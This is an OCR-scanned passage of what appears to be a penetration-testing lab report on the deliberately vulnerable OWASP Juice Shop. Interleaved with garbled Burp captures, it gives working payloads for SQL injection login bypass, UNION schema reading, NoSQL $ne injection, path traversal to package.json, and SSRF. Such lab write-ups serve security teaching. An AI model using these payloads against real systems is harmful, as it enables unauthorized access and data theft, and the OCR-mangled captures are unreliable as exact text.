"email": "admin' or 1=1 --", "password": "admin" }

ERe o < v * BurpAl Targ

Request Response
ety Raw  Hex ® W = Prety Raw  Hex  Render
POST /rest/user/login HTTP/1.1 HTTP/1.1 200 OK
2 Host: 100.85.61.41 Server: nginx/1.28.3 (Ubuntu)
3 Content-Length: 47 3 Date: Thu, 09 Jul 2026 14:01:44 GMT
1 Accept-Language: en-US,en;q=0.9 4 Content-Type: application/json; charset=utf-8
S Accept: application/json, text/plain, */% S Content-Length: 784
Content -Type: application/json Connection: keep-alive
7 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) 7 Access-Control-Allow-Origin: *
Chrome/145.0.0.0 Safari/s37.36 & X-Content-Type-Options: nosniff
§ Origin: http://100.85.61,41 X-Frane-Options: SAMEORIGIN
Referer: http://100.85.61.41/ Feature-Policy: payment 'self'
O Accept-Encoding: gzip, deflate, br 11 X-Recruiting: /#/jobs
1 Cookie: language=en; welcomebanner_status=dismiss; continueCode= 12 ETag: W/"310-tek1SDyLRc3eMaxlbBALXyNQDSE"

\'QEoanzlszAmoipnkJlg4(|G77<ZWS77IVl1<LqG\leSvYBELaPS]7RexZNy 13 Vary: Accept-Encoding

"authentication”:{
“token

ey J0eXAi01JKV1QiLCIhbGCi01 ISUZTINI J9. ey JkYXRhTj p7Inl kIjoxLCI1c2VybnFt ZSIGIiTsInVE YWLs
ST AOTIVH) NAN2. 2
CISYXN

.urwm‘o-m 44000gKzAw0; »\'I)./)
vrCZuOaXauYexpyo7dL-
y RxQA)JK!rNJ ksuGla NuEEynx( eB_uyeJJiT7DLiITdv r4(4SDF(u

:sRHq 1Ex8V_ Q:FaZ\l(‘u\T

i
"umall "admin@juice-sh.op”

Figure 51. SQL injection — the login-bypass payload admin' or 1=1 -- signs in as the
administrator.

Proof: the response returns a valid admin session token — logged in without knowing the
password.

Challenge 2 — Database Schema (UNION read).

LN BN Jake
8 OWASP JuiceShop X Juice Shop 5o

C @ A Not Secure 100.85.61.41

-8 Import bookmarks OffSec  KaliLinux # KaliTools  KaliDocs M KaliForums  KaliNetHunter = Exploit-DB % Google Hacking DB

i OWASP Juice Shop @ apple X @ Account ¥ YourBasket ° @EN

All Products

Figure 52. The Ju:ce Shop product-search feature — the endpomt targeted by the UNION-based
SQL injection.

Through the product-search API, append a UNION query that reads SQLite's catalogue
table:

GET /rest/products/search?g=banana')) UNION SELECT sql,2,3,4,5,6,7,8,9 FROM
sqglite_master--
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sqlite.org

Home About Documentation

» Table Of Contents

1. Introduction

Download

License Purchase

Support

The Schema Table

Every SQLite database contains a single "schema table" that stores the schema for that database. The schema for a database is a description of all of the other
tables, indexes, triggers, and views that are contained within the database. The schema table looks like this:

CREATE TABLE sqlite_schema(
type text,
name text,
tbl_name text,
rootpage integer,
sql text
¥

The sqlite_schema table contains one row for each table, index, view, and trigger (collectively "objects") in the schema, except there is no entry for the
sqlite_schema table itself. See the schema storage subsection of the file format documentation for additional information on how SQLite uses the sqlite_schema

table internally.

N

Alternative Names

The schema table can always be referenced using the name "sqlite_schema", especially if qualifed by the schema name like "main.sglite_schema" or
"temp.sqlite_schema"”. But for historical compatibility, some alternative names are also recognized, including:

1. sqlite_master
2. sqlite_temp_schema
3. sqlite_temp_master

Alternatives (2) and (3) only work for the TEMP database associated with each database connection, but alternative (1) works anywhere. For historical reasons,
callbacks from the sqlite3 set authorizer() interface always refer to the schema table using names (1) or (3).

Figure 53. Reference: the SQLite schema table (sqlite_schema) that the UNION query is
crafted to read.

Proof: the response contains CREATE TABLE .

leaked.

Request

Pretty  Raw  Hex

GET /rest /products/search?a=

banana’ ) )%20UNLON: 20SELECT%20sql} 2,3, 4,5, 6,7, 8, 9% 20FROM:20sqlite_master-- HTTP/1,1

2 Host: 100.85.61.41
Accept-Language: en-US,en:g=0.9
4 Accept: application/json, text/plain, #/%

Chrone/145,0,0.0 Safari/537.36
Referer: http://100.85,61.41/

Accept-Encading: gzip, deflate, br

Cookie: language=sn; welcomebanner_status=dismiss
If-None-Match: W/"40b3-nPEK4vNHNMEYo2usQlin7acoh/pH*
Gennsstiqn.kespiaking

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)

Response

Pretty  Raw  Hex  Render

1 HTTP/1.1 2066 OK

Server: nginx/1,28.3 (Ubuntu)
5 Date: Thu, 08 Jul 2026 13:52:10 GMT
4 Content-Type: application/json: charset=utf-8
S Connection: keep-alive
5 Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
5 X-Frame-Options; SAMEORIGIN
S Feature-Policy: payment 'self'
¥-Recruiting: /#/jobs
ETag: W/"22af-xFFOOVCSiZuekqwhclishuro0®
Vary: Accept-Encoding
3 Content-Length: 8879

"status":"success",
"data": [

"id"inull,

"description”:
“price":a,
“deluxePrice”:s,
"inage” 6,
“createdat®
"updat edat *
“deletedat=:9

“id":
CREATE TABLE "Addresses” ( Userld INTEGER REFERENCES Users ('1d
N UPDATE CASCADE, "id" INTEGER PRIMARY KEY AUTOINCREMENT, 'fullName
um’ INTEGER, “zipCode™ VARCHAR(255) streetAdd, s” VARCHAR(255),
ate’ VARCHAR(255), ‘country VARCHAR(255), "createdAt’ DATETIME HOT
IME NOT NULL)".

“name":"2",

“description®:*3*,

“price* 4,

“deluxePrice”:5,

“inage* 6.

“createdAt=:7,

“updatedat®:8,

“deletedAt=:9

statements — the full database schema has

2@ v =

) ON DELETE NO ACTION O
VARCHAR(255), “mobileN
city’ VARCHAR|255), st
NULL, updatedAt ™ DATET

Figure 54. SQL injection — the response leaks the full schema (CREATE TABLE statements).
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4.4.3 NoSQL injection — Challenge "NoSql Manipulation”

Challenge / goal: abuse the review-update API, which builds its query object directly from the
JSON body.

C A Notsecure

15 ¢

P Ju

basil@juice-sh.op

Great! We'll have an apple party. Everyone
brings an apple and - STUFFS IT DOWN E
ACH OTHER'S THROAT!

aymane@elouafi.com

aymaneelouafi

Write a review

974  http/100.85.61.41 rest/ products/1/reviey 200 ISON 100.85.61.41
573 hitpJ/100.85.61.41 PUT reviews 7 201 50N 00856141
972 hitp/100.85.61.41 GET rest/products//reviews 304 00.85.61.41
Request Response a-=
Pretty Raw Hex LS = L Pretty Raw Hex [
| T[BuT]/ rest /product s/1/reviews HITR/1.1 1 HFTP/1.1 201 Created
> Host: 100.85.61,41 2 Server: nginx/1.28.3 (Ubuntu)
} Content-Length: 57 Date: Fri, 10 Jul 2026 17:32:36 GMT

4 Authorization: Bearer
£y 10eXAi0i JKV10QiLCIhbGei0i ISUT1N 19, ey KYXRhI] p7ImLKI] oy NCwidXNLcnShbWUi 0111l CILbWFpb CIEINFSbWFUZUBLbGI1YWZpLmN
vbSISInBhc3N3b3JkI;j0iZTAGYWNKODI1MGQ2NDAY OGM2M2Q4NT <y 0Tk 00GQANDEILCIyb2x11701Y3V2dGOt ZXIiLCIkZWx1eGVUb2t 1biI6IiT
sInxhc3RMb2dpbk1wIjoiMCawlj AUMCISInByb2ZpbGVIbWFNZST6T1 She 3NL dHMvcHVibGL 3 L211 YWdl cy91cGxvYWRzL 2Rl ZnFlbHQue3ZnTiw
1dGIOCFNLY3J1dCI6I1ISIn] zOWNOaXZ11j pOcnVlLCI] cmVhdGVkQXQi01iIyMDI2L TASLTEWIDES0] MwO] Uwlj c2Ny ArMDAGMDALLCJI1cGRhdGY
kQX0i 01 TyMDI2LTASLTEWIDESO] MwOj UwLj c 2Ny ArMDAGMDALLCIk Zwx 1 dGVkQXQ1i0mS1bGx9LCI1anQi0j YSIn hdCIGMTc 4MzCwNDY2MHO. TRD
DLCHNCgj SuGFhnzb6-LhRAy ZL_CTd1nUyOFONASIGgSwHi zalx1j gDfMvz8uHoF30UcdnAPPE] MLXXpGUPOBPZAV] En3q_rldKRizAk fl rnokQGr
UVc2ZcC j y1BJepnKzX83alGehnOOXXUkVZk 920t tNo_j xINSsPFnj Sk
Accept -Language: en-US,en;q=0.9
Accept: application/json, text/plain, */+%
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11: Linux x86_64) AppleWebKit/537.36 (KHTML,
safariss37.36
9 Origin: http://100.85.61.41
) Referer: http://100.85.61.41/
Accept-Encoding: gzip. deflate. br
Cookie: language=en: welcomebanner_status=dismiss: continueCode=
¥9EonVK2b2Wn03pMk J1g4qG77c ZTVS77h1 2cLgGrvl DEWYBBLAPS] 7TRexZNy; cookieconsent_status=dismiss; token=
ey J0eXAi01JKV1QiLCIhbGei01ISUzI1NI J9, ey JkYXRhIj p7ImlkI] oyNCwidXNlcmShbiWUi0iTilL CILbWFpb CIEImFSbWFuZUBLbGI1YWZpLmN
vbSIsInBhc3N3b3JkIjoiZTAOYWNkODI1MGQZNDAY OGM2M2Q4NT cy 0Tk OOGQANDEILCIyb2x11]01Y3VZzdGot ZXTiLCIkZWx1eGVUb2t 1biI6IiT
sInxhc3RMb2dpbk1wIj0iMCAwLj AUMCISINByb2ZpbGV.IbWFNZST6T1 9hc3NL dHMycHVibGL L2+ YWdL cyS1cGxvYWRzL2R1 ZnF1bHQUC3ZnTiv
1dGOOCFNLY3J1dCI6IiIsIn] 2QNNOaXZL Ij pOcnVLLCI] emVhdGVKQXQi 01 TyMDI2LTASLTEWIDES0] MvOj UwL j 2Ny ArMDAGMDALLCJ1eGRhAGY
kQXQi 0 TyMDT 2L TASLTEWIDE30] MwOj LwL j ¢ 2Ny ArMDAGMDALL C.Jk ZWx | dGVKQXQi 0m51bGx SLC i aWQi 0 YsInl hdCIGMTc AMzcwNDY2MHO. TRD
DLcHNCgj SuGFhnzb6-LhRAy ZL_CId1nUyOFOWdSIGgSwHizalxljgDfNwzBuHof3oUcdnAPpE] MLXXpGUPOBPZ4V] En3q_r1dKRizAkfl rnokQGr
uVc2ZcCjjylBJepnKzX83alGe hmOOXXUk VZk 920t tNo_j xINSsPfnj Sk

like Gecko) Chrome/145.0.0.0

Connection: keep-alive
1sf ¢
*nessage* : "aymaneelouafi”,
*author"; “aynane@elouafi.con”

b

4 Content-Type: application/json; charset=utf-8
S Content-Length

Connection: keep-alive

Access-Control -Allow-Origin: *

X-Content -Type-Options: nosniff

S X-Frame-Options: SAMEORIGIN

10 Feature-Policy: payment 'self'

X-Recruiting: /#/jobs

ETag: W/"14-YS3wuE/mmbSikKcT/Wual LIN6SU"
Vary: Accept-Encoding

“status":"success

Figure 56. Burp — intercepting the PATCH /rest/products/reviews update request.

Figure 57. Juice Shop source — the review-update route (app.patch
'/rest/products/reviews').
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Figure 58. The vulnerable handler — db.reviews.update() trusts req.body.id and updates
with multi:true.

Simple MongoDB Injection in PHP

For a basic authentication bypass, the attacker can try to enter MongoDB operators in field values, for example $eq (equals), $ne
(not equal to) or $gt (greater than). Here’s an unsafe way to build a database query in a PHP application, with the parameter values
taken directly from a form:

$query = array("user" => $ POST["username"], "password" => $ POST["password"]);

If this query is then used to check login credentials, the attacker can abuse PHP’s built-in associative array processing to inject a
MongoDB query that always returns true and bypass the authentication process. This may be as simple as sending the following
POST request:

username[$ne]=1&password[$ne]=1
PHP will translate this into an array of arrays:
array("username"” => array("$ne" => 1), "password" => array("sne" => 1));

When sent as a MongoDB query to a user store, this will find all users where the user name and password are not equal to 1, which is
highly likely to be true and may allow the attacker to bypass authentication.

Figure 59. Reference: how a MongoDB operator ($ne / $gt) turns an id lookup into an
always-true match.

In Burp, intercept the PATCH to /rest/products/reviews and replace the scalar id with a
MongoDB operator object:

PATCH /rest/products/reviews
{ "message": "owned", "id": { "$ne": -1}}

Proof: $ne: -1 (not-equal-to —1) matches every review, so this one request overwrites the
message on all product reviews — the operator was interpreted as query logic, not as data.
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Request Response
Pretty Raw Hex Iy W = Pretty Raw Hex Render
rest/products/reviews HTTP/1.1 N TRy 28
00.85.61.41 ]
Content -Length: 47
4 Authorization: Bearer L‘“;M
€y J0eXAi0i JKV1QiLCIhbGCiO0i JSUZIING IS, ey JKYXRhI; p7ImLKIj oyNCwidXNL cmShbWUL 01 TiLCILbWFpbCIGINFSbWFUZUBLbGI1YWZp . O
LnNvbSIsInBhc3N3b3JkIj 0iZTAOYWNKODI1MGQ2NDAY OGM2M2Q4NT cy 0Tk DOGQ4NDELLCIyb2x11j 01Y3V2dGot ZXIiLCIkZWx1eGVUb2t Lb ,ﬁ;?s;ﬁ!m'u e
1I6TiTsImxhc3RMb2dpbk1wIj0iMCAwLj AUMCISInByb2ZpbGVIbWFNZSIET1She3NL dHMycHVibGLj L2Lt YWdL cy91cGxvYWRzL2RL ZnF1bH £ d‘”t orEy@luICcesah ot
Quc3ZnTiwidGIOCFNLY3JLdCI6T4 IsInl ZQWNOaXZLIj pOcnVLLC]] cmVhdGVKQXQi0i TyMDI2LTASLTEWIDESO] MWOj UwLj 2Ny Ar MDAGMDA Ly
1iLCJ1cGRhAGVKQXQi0iTyMDI2L TASLTEWIDESO] MWOj UwLj c2Ny ArMDAGMDALLCJk ZWx1 dGVKQXQiOnS1bGxSLCIiaWQi0j YsInl hdCIEMTCc4 s
MzCWNDY 2MHO, TRDDLCHNCGj SuGFhmzb6- LhRAy ZL_CId1nUyOFONJSIGgSwHizalx1j gDfNwzBuHof SoUcdnAPPE] MLXXpGUPOBPZAV] En3q_ e
r1dKRi zAk fl rn0kQGruVc2ZcCj j y1BJepnkzX83al GehnOOXXUKVZkg2Qt tNo_j x1WSsPFnj Sk ”
S Accept-Language: en-US,en;q=0.9 3 AdRiR2sUYARAZ135s05a o
6 Accept: application/json, text/plain, */* 4
7 Content-Type: application/json
8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0
Safari/s37.36 e 3
9 Origin: http://100.85.61.41 ‘.{": “(‘: e
10 Referer: http://100.85.61.41/ ‘,l‘k‘:;‘f"‘[ 2
11 Accept-Encoding: gzip, deflate, br ) Hecty
12 Cookie: language=en; welcomebanner_status=dismiss; continueCode= i
X9EonVK2bzWn03phk J194qG77c ZTVS77h1 ZcLgGrvLDEWYBBLaPS] 7RexZNy; cookieconsent_status=dismiss; token= _id" : "3N6Nj CMXsSCAqkHES
ey J0eXA101IKV1QiLCIhbGei01iISUZIINI 9. ey IkYXRhIj p7ImlkIjoyNCwidXNLcmShbWUi01IilLCJI1bWFpbCISImFSbWFUZUBLbGI1YWZp g
LmNvbSIsInBhc3N3b3JkIjoiZTAOYWNKODI1MGQ2NDAY OGM2M2Q4NT cy 0Tk DOGQ4NDELLCIyb2x11j0iY3VzdGOt ZXIiLCIkZNx1eGVUb2t b { 3 2l 1 Fiv
iI6TiIsImxhc3RMb2dpbk1wIj0iMCAwL]j AUMCISInByb2ZpbGVIbWFNZSIETiShc3NL dHMYCHVibGLj L1 YWd1 cyS1cGxvYWRZL2RL ZnF1bH - e
Quc3ZnIiwidGI0cFNLY3I1dCI6IiIsInl 1jp0OcnVLLCIj cnVhdGVkQXQi0i IyMDI 2L TASLTEWIDES0] MvOj UwLj c2Ny ArMDAGMDA u“td° asil@uice-sh.op®,
1LCJ1cGRhdGVkQXQi01iIyMDI2L TASLTEWIDES0] MwOj Uwlj c 2Ny ArMDAGMDALL CJIk ZWx1 dGVk QXQi0mS1bGx9LCI1aWwQi0j YsImLhdCI6MTc4 u{": ct 2,
MzcwNDY2MHO . TRDDLCHNCg] SuGFhmzb6- LhRAyZL_CId1nUyOFONdSIGgSwHizalxlj gDfNwzBuHof3oUcdnAPpE] MLXXpGUPOBPZ4V] En3q_ ul‘kej(:“‘jf‘t o.
rldKRizAkfl rnOkQGruVc2ZcCjj y1BJepnKzX83alGehmOOXXUk VZkg2Qt tNo_j x1IWSsPfnj Sk ] ikedBy":[
; = + "9pFXXCSA4X6QPYPFI"
1) ¢ )
ynaneelouafi®, {
16 }
b4 .
Tikedsy": [
1.
*_id":"AdTBKROSTCBbj CMeL"
}

Figure 60. NoSQL injection — $ne:-1 matches every review, so oné request rewrites them all.

4.4.4 Local File Inclusion — Challenge "Local File Read"
Challenge / goal: read a file off the server through the GDPR data-erasure feature.
Steps :

1. Submit a random GDPR erasure request from the account page, and intercept the
POST /dataerasure in Burp.

... ™ Host Method URL Params Edited Statuscode Length MIMEtype Extension Title
290 .
/dataerasure HTML OWASP

v 200 2151

Request
Pretty Raw Hex LN Wn =
1 POST /dataerasure HTTP/1.1

Host: 100,85.61.41

Content-Length: 41

Cache-Control: max-age=0

Accept-Language: en-US,en;q=0.9

Origin: http://100.85.61,41

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11l; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0

Safari/s37.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,1image/avif,image/webp,image/apng, */*;q=0.8,application/

signed-exchange;v=b3;q=0.7

11 Referer: http://100.85.61.41/dataerasure

12 Accept-Encoding: gzip, deflate, br

13 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=
3N8gYbmnaWZ2qlkpwOvVOek cDTBSNNhj 6cDmhQMdLPQJoRXME] Srky147xez; token=
ey J0eXA101IKV1QiLCIhbGci01JSUZIINLIS. ey JzdGFOdXM101 JzdWN] ZXNzIiwiZGFOYSI6ey JpZCIEMSwidXNL cmShbWU101Ij ezYqNnO1
LCILbWFpbCIGImFk bWl uQGplaWNLLXNoLmOwIiwicGFzc3dvemQi0iIwMTkyMDIzYTd1iYmQ3MzI1MDUxNmYwN] 1kZ] E4Y] UWMCISInIvbGU1O
1JhZGlpbiIsImRLbHV4ZVRva2VuljoiliwibGFzdExvZ21 uSXA101I1iLCIwemOmaWxl SW1hZ2U101iJhe3NLdHMy cHVibGL ] L21tYWdlcy9lcG
xVYWRzL2R1 ZmF1bHRBZG1 pbiSwbmeil C10b3RwU2V] emVOIj 0iIiwiaXNBY3RpdmUiOnRy dWUsImNy ZWFOZWRBACI6I]j IwMj Yt MDgt MDVUMTA
6Mj cENTQUNTg3N1IsInVwZGFOZWRBICI6I] IwMj Yt MDgt MDVUMT A6MzUGNDQUODE3W1IsInRl bGVOZWRBACIGbnVsbHOSIml hd CIGMTcaNTky
Nj IWMXO . pNp3Qei0Kal nx_hCWOQKmTn67] Ks19P- p4otkLONWKSSbOrN30h863quY11AG321 6wx7cOyu_j 3qKhVDIZwC3soeyol b rCil 3E
hL2x rawnitKDe2o0ql CBX97er JXQ4daCwIk - esBgl_24DUeCt OExb3PkGEDr3L3ygulwhlL4

14 Connection: keep-alive

15

1 I email=test%40test.com&securityAnswer=test I

AV AWN

I

—

Figure 61. Local File Inclusion — intercepting the GDPR data-erasure request that carries the

layout parameter.

2. Fuzz the parameters. The layout parameter turns out to be processed as a file path —

sending an invalid value returns:

500 Internal Server Error
Error: ENOENT: no such file or directory
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The error reveals the server reads from <root>/juice-shop/views/<layout>.

Request

Pretty Raw Hex ENy \n

1 POST /dataerasure HTTP/1.1

2 Host: 100.85.61.41

3 Content-Length: 56

2 Cache-Control: max-age=0

Accept -Language: en-US,en;q=0.9

Origin: http://100.85.61.41

Content-Type: application/x-www-form-urlencoded

& Upgrade-Insecure-Requests: 1

) User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537,36 (KHTML, like Gecko)
Chrome/145.0.0.0 Safari/s37.36

10 Accept:

14 Connection:

text/htnl,application/xhtml+xnl, application/xnl;q=0.9,inage/avif, inage/webp, inage/apng
,*/*;q=0.8,application/signed-exchange; v=b3;q=0.7
Referer: http://100.85.61.41/dataerasure

2 Accept-Encoding: gzip, deflate, br

i Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss;
cont inueCode=3NBgYbmnaWZ2ql kpwOvVOek cDTBSNNhj 6cDmhQMALPQIORXMS] SrKy147xez; token=
&yJ0eXAi01JKV1QiLCIhbGei0d JSUZI1NL 9. ey JzdGFOAXML 01 JzdWNj ZXNz 11wi ZGFOYSI6ey IpZCI6MSwid
¥NLcmShbWU1 01 Tj e2YqNn0iLCIL bFpbCIEInFkbWluQGp1aWNL LxXNoLmSwIiwicGFzc 3dvemQi0iTwMTkyMDT
2YTdiYnQ3MzI1MDUxNnYwiij 1k Zj E4Y] UWMCISInJvbGUL0i JhZGlpbi IsImRLbHVAZVRva2Vulj 0iliwibGFzd
ExvZ21uSXAi0i IiLCIvemomaWxl SN1hZ2Ui0i Jhe 3Nl dHMyeHVibGL] L2LtYWdl cy9lcGryvYWRZL2R1 ZnFLbHR
BZG1pbi Swbmcil CI0b3RWU2V] cnVOT; 0iTiwiaXNBY3RpdmLiiOnRy dWUs ImNy ZNFOZWRBACTET j Twh; Yt MDgt M
DVUMTA6M; CENTgUNTQ Wi IsInVwZGFOZWRBACT 613 IwMj Yt MDgt MDVUMT AGMz USNDQUODESN: s ImRl b GVOZWR
BACI6bnVsbHOs Inl hd CIEMTc 4NTkyNj IwMX0. pNp3Qe10Kalnx_hCWOQKNTN67] Ks19P- Aotk LONWKSObOrNS
0h863quY11AG32l Gwx 7c3yu_j 3qkhVDIZwC3s0ey0l b - rCil 3EhL2x rawnitKDe20ql CBXS7er IXQ4dalwTk
- esBql_24DUe Ct OExb 3PkGEDr 3L3yguIwhL4

S Date: Wed, 05 Aug 2026 11:34:06 GMT

4 Content-Type: text/html; charset=utf-8

S Connection: keep-alive

5 Access-Control-Allow-Origin: *
X-Content -Type-Options: nosniff

SAMEORIGIN

‘self’

5 X-Frame-Options
) Feature-Policy: payment
10 X-Recruiting: /#/jobs
11 Set-Cookie: token=; Path=/; Expires=Thu, 01 Jan 1570 00:00:00 GMT
vary: Accept-Encoding

Content-Length: 1301

<html>
<head>
<meta charset="utf-8'>

18 <titles
Error: ENOENT: no such file or directory, open
&#39; /juice-shop/views/invalid.hbs&#39;
=/titles
<styles
et
margin:0;
2 padding:0;
outline:0;

s body{
26 padding: 80px100px

Response m
Pretty Raw Hex Render oM =
1| HTTP/1.1,

2 Server: nginx/1.28.3 (Ubuntu)

Figure 62. Local File Inclusion — an invalid layout value reveals the server reads from /juice-
shop/views/<layout>.

3. Traverse and read a known file by pointing layout up and out to package.json:

POST /dataerasure (application/x-www-form-urlencoded)

email

Request

Pretty Raw Hex

POST /dataerasure HTTP/1.1

ey

Host: 100.85.61.41

Content -Length: 64

Cache-Control: max-age=0

Accept-Language: en-US,en:g=0.9

Origin: http://100.85.61.41

Content -Type: application/x-www-form-urlencoded

& Upgrade-Insecure-Requests: 1

5 email=test%40test .comésecurityAnswer=test&layout=

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/145.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xnl,application/xml;q=0.9,image/avif,inage/webp,image/apng, */*;

q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://100.85,61.41/dataerasure

Accept-Encoding: gzip, deflate, br

Cookie! language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss:
continueCode=3N8gYbmnnawz2ql kpwOvVOek cDTBSNNh] 6cDnhQMALPQIORXME] Srkyl47xez; token=

ey JOeXA101IKV1QiLCIhbGei 01 ISUZTIN J9. ey JzdGFOd XMi 01 JzdWNj ZXNz Tiwi ZGFOYSIGey JpZCI6MSwidXNl cm
ShbWUi01TjezYqNn0iLCIbWFpbCISInFk bWl uQGR1aWNL LXNoLmOwTiwicGFzc3dvcmQioi IwMTky MDIZYTdiYmQ3M
2ZI1MDUxNmYwNj 1 kZj E4Yj UWMCISIn JvbGUi0iJhZGlpbiIsInRlbHV4ZVRva2VuljoiliwibGFzdExvZ2LuSXALOiTi
LCIwcm9maWx1 SN1hZ2U101 Jhc3NLdHMycHVibGL ] L2Lt YWdL cy91cGxvYWRzL 2Rl ZnF1bHRBZGLpbiSwbmciLCI0b3R
wU2Vj €nVOI] 0iTiwiaXNBY3RpdmUi OnRy dWUs InNy ZWFOZWRBACIEI IwMj Yt MDgt MDVUMT AGMj cENTQUNT g3WiIsIn
VwZGFOZWRBACIGEI] IwMj Yt MDgt MDVUMT A6MzUSNDQUODESW1 IsInRLbGVOZWRBACIEbnVsbHOSInlhdCIEMTcANTky N
FIWMXO. pNp3QeiOKalnx_hCNOQKmTNE7] Ks19P- paot kLONWKS9bOrN30h863quY1i AG32L 6wx7cSyu_j 3qKhVDIZwC

2B n

=test%40test.com&securityAnswer=test&layout=../package.json

Response

Pretty Raw Hex Render

1 HTTP/1.1 200 OK
Server: nginx/1.28.3 (Ubuntu)

3 Date: Wed, 0S5 Aug 2026 11:39:27 GMT
i Content-Type: text/html; charset=utf-8
S5 Connection: keep-alive

Access-Cont rol -Allow-Origin: *

X-Content -Type-Options: nosniff

8 X-Frame-Options: SAMEORIGIN

9 Feature-Policy: payment ‘'self’
X-Recruiting: /#/jobs

11 Set-Cookie: token=; Path=/; Expires=Thu, 0l Jan 1970 00:00:00 GMT

2 ETag: W/"6a-dyPrWgSwuQd+A/tQaxfNObtUioQ"

Vary: Accept-Encoding

14 Content-Length: 106

.

1

14 {
1] “name": "juice-shop”,
“version": "20.1.1",

"private": true,

"description”: "Probably the m......

3soeyol b - rCil3EhL2xrawnitKDe2oql CBX97erJXQ4daCwlk -esBql_24DUeCt OExb3PkGEDr3L3ygulwhlL4

/package . son|

Figure 63. Local File Inclusion — the traversal payload layout=../package.json reads a file outside
the views directory.

Proof: the response body returns the contents of package.json ("name":"juice-shop"...)
file outside the intended directory has been read.

4.4.5 Server-Side Request Forgery — Challenge "SSRF"

Challenge / goal: make the server fetch a URL of the attacker's choosing. The profile image
can be set by URL, and the server retrieves it — so the request originates from inside the
trusted environment. In Burp, intercept POST /profile/image/url and set the imageUrl to an
internal target (Juice Shop on localhost, or a public request-bin to confirm the outbound

fetch):
POST

/profile/image/url (urlencoded)

imageUrl=http:/localhost:3000/...

—a
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User Profile

Username:

Set Username

File Upload

Upload Picture

Image URL:

calhost:3000/assets/public/image

Link Image

Figure 64. Server-Side Request Forgery — the profile image-URL feature fetching an attacker-

supplied URL.
Proof: the server performs the fetch on the attacker's behalf.
4.4.6 Cross-Site Scripting — Challenge "CSP Bypass"

Challenge / goal: get script to execute despite the Content-Security-Policy.

i Host Jetbod, LEL. Params Edited Status code Length MIME type Extension Title Notes s »P Cookies
3436 httpJ/100.85.61.41 il 304 45 100.85.61.41
3430 Nitp/T100.85.61.41 POST  Iprorieimagefur v 302 an HIML 100.85.61.41
3479  hitns/lwww aooale com POST loen 204%atun=iRei=-X Kav GF-Di-aP. < 04 o4 HIMI v 142 251157119
Request Response -
Pretty Raw Hex @ wn = Pretty Raw Hex Render =
1 GET /profile HTTP/1.1 1 HTTP/1.1 304 Not Modified
2 Host: 100.85.61.41 2 Server: nginx/1.28.3 (Ubuntu)
Cache-Control: max-age=0 3 Date: Sat, 11 Jul 2026 17:09:38 GMT
4 Accept-Language: en-US,en;g=0.9 4 Connection: keep-alive
S Upgrade-Insecure-Requests: 1 S Access-Control-Allow-Origin: *
User-Agent: Mozilla/5.0 (X11; Linux xB6_64) AppleWebKit/537.36 (KHTML, like Gecko) 6 X-Content-Type-Options: nosniff
Chrome/145.0.0.0 Safari/537.36 X-Frame-Options: SAMEORIGIN
7 Accept: 5 Feature-Policy: payment 'self’
text/htnl, application/xhtml+xnl,application/xnl;q=0.9,inage/avif, inage/webp,inage/apng, /* 5B i L.
:q=0.8,application/signed-exchange;v=b3;g=0.7 Content-Security-Policy: img-src 'self' /assets/public/images/uploads/24.jpg; script-src
Referer: http://100.85.61,41/profile 'self' 'unsafe-eval’

Accept-Encoding: gzip, deflate, br

Cookie: language=en: welcomebanner_status=dismiss: cookieconsent_status=dismiss:
continueCode=rznS2qwZ4bQ97v3Pk VNAOmcnIzTpSPPhbxulk IbnGKepXnBORNIY1aBMExjo; token=

ey J0eXA1 01 IKV1QiLCIhbGEi 01 ISUZTINI J9. ey JzdGFOAXMi 01 JzdWN] ZXNz TiwiZGFOYST Gey JpZCI6M] QsInVzZ
¥JuYW111] 0ibGVydChgeHNzYCkBL3N] cmlwdDAil CILbWFpbCI6InFSbWFUZUBL bGI1YWZpLmNvbSISInBhc3N3b3]
k1j01ZTAGYWNk ODI1MGQ2NDAY OGM2M2Q4NT cy 0Tk GOGQ4NDEILClyb2x11j01Y3VzdGot ZXTiLCok ZWx1eGVUb2t1b
iI6TiTsInxhc3RMb2dpbklwl] 0iMCAwlj AUMCISInByb2ZpbGV IbWFNZSI6InFzC2VOCy SwdWIsaWiyal hZ2vzL 3V
wh GOhZHMYMj QuanBnIiwidGIOCFNLY3J1dCISIiIsIml 2QWNOaXZLI]pOcnVILCI] cmVhdGVkQXQi0iIyMDI2LTASL
TEXVDE20] T30] AwLj YzNFoil CJ1cGRhdGVk QXQi0i TyMDI 2L TASLTEXVDESO] A20] M4Lj T20Voil CkZWx1dGvk OXQ
10n51bGx9LCIpYXQi0j ES0DM30Dk10ThS .t y1RWPFM-p2Tj yuvkbt zWmt _Wh9nwXn3sSHVYhelwufVaglnI63FboB
-6k fAL-Bx217Y59VAG4y UHgqKCgqa77ExCGCSSI1Ur 27y WalWewZ2sDp oHy LSHHhOwu4FiNTKchuaiGagqdyd0j hQ2
OVsKYakoZ70qqrSHvu3fhesis

11 If-None-Match: W/"1265-1EuBac3n4vOFnAKUZilSUSyGU+Q"

12 Connection: keep-alive
13

14

T T 255" TEUBat STaVIFIRROZT TSUSY oI

bypass must defeat.

Figure 65. Burp — inspecting /profile and its Content-Security-Policy, the control the CSP-
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Request Response

Pretty Raw Hex £y n = Pretty Raw Hex Render

1 POST /profile/image/url HTTP/1.1 1 HTTP/1.1 302 Found

2 Host: 100.85.61.41 2 Server: nginx/1.28.3 (Ubuntu)

